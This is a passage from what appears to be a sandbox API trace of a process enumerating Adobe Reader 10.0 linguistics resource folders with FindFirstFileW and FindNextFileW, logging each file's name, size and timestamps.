cFileName="DisplayLanguageNames.ro_RO.txt", cAlternateFileName="DIC031~1.TXT")) returned 1 [0237.344] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7498, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ru.txt", cAlternateFileName="DIBDC2~1.TXT")) returned 1 [0237.344] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7498, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ru_RU.txt", cAlternateFileName="DI759A~1.TXT")) returned 1 [0237.344] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7416, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ru_UA.txt", cAlternateFileName="DI0840~1.TXT")) returned 1 [0237.344] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d76, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sk.txt", cAlternateFileName="DIDD84~1.TXT")) returned 1 [0237.344] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2a9280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d76, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sk_SK.txt", cAlternateFileName="DI9804~1.TXT")) returned 1 [0237.344] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sl.txt", cAlternateFileName="DIF8FC~1.TXT")) returned 1 [0237.344] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sl_SI.txt", cAlternateFileName="DI9B2F~1.TXT")) returned 1 [0237.344] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x715c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sv.txt", cAlternateFileName="DIF2A9~1.TXT")) returned 1 [0237.344] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7144, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sv_FI.txt", cAlternateFileName="DIE445~1.TXT")) returned 1 [0237.345] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x715c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.sv_SE.txt", cAlternateFileName="DISPLA~4.TXT")) returned 1 [0237.345] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7288, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.tr.txt", cAlternateFileName="DIA3CE~1.TXT")) returned 1 [0237.345] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7288, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.tr_TR.txt", cAlternateFileName="DIF209~1.TXT")) returned 1 [0237.345] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.uk.txt", cAlternateFileName="DI4480~1.TXT")) returned 1 [0237.345] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.uk_UA.txt", cAlternateFileName="DICC10~1.TXT")) returned 1 [0237.345] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6068, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.zh_CN.txt", cAlternateFileName="DISPLA~3.TXT")) returned 1 [0237.345] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x605a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.zh_TW.txt", cAlternateFileName="DISPLA~1.TXT")) returned 1 [0237.345] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x608c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.zh_TW_STROKE.txt", cAlternateFileName="DISPLA~2.TXT")) returned 1 [0237.345] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x608c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.zh_TW_STROKE.txt", cAlternateFileName="DISPLA~2.TXT")) returned 0 [0237.345] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0237.346] GetProcessHeap () returned 0x550000 [0237.346] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0237.346] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 1 [0237.347] GetProcessHeap () returned 0x550000 [0237.347] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0237.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0237.347] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.347] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proximity", cAlternateFileName="PROXIM~1")) returned 1 [0237.347] GetProcessHeap () returned 0x550000 [0237.347] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0237.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0237.348] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.348] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.00", cAlternateFileName="")) returned 1 [0237.348] GetProcessHeap () returned 0x550000 [0237.348] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0237.348] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0237.716] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.443] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1b35c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x203800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ara131.lex", cAlternateFileName="")) returned 1 [0238.443] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e18d460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ara32.clx", cAlternateFileName="")) returned 1 [0238.443] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e18d460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="araphon.env", cAlternateFileName="")) returned 1 [0238.443] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x128c, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt.fca", cAlternateFileName="")) returned 1 [0238.444] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt.hyp", cAlternateFileName="")) returned 1 [0238.444] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2d1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt04.hsp", cAlternateFileName="")) returned 1 [0238.444] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt32.clx", cAlternateFileName="")) returned 1 [0238.444] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82800, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt55.ths", cAlternateFileName="")) returned 1 [0238.444] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz.fca", cAlternateFileName="")) returned 1 [0238.444] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz.hyp", cAlternateFileName="")) returned 1 [0238.444] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz32.clx", cAlternateFileName="")) returned 1 [0238.444] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz40.hsp", cAlternateFileName="")) returned 1 [0238.444] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bul.hyp", cAlternateFileName="")) returned 1 [0238.444] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bul120.lex", cAlternateFileName="")) returned 1 [0238.444] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="bul32.clx", cAlternateFileName="")) returned 1 [0238.444] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1430, dwReserved0=0x0, dwReserved1=0x0, cFileName="bulphon.env", cAlternateFileName="")) returned 1 [0238.445] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1240, dwReserved0=0x0, dwReserved1=0x0, cFileName="can.fca", cAlternateFileName="")) returned 1 [0238.445] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, 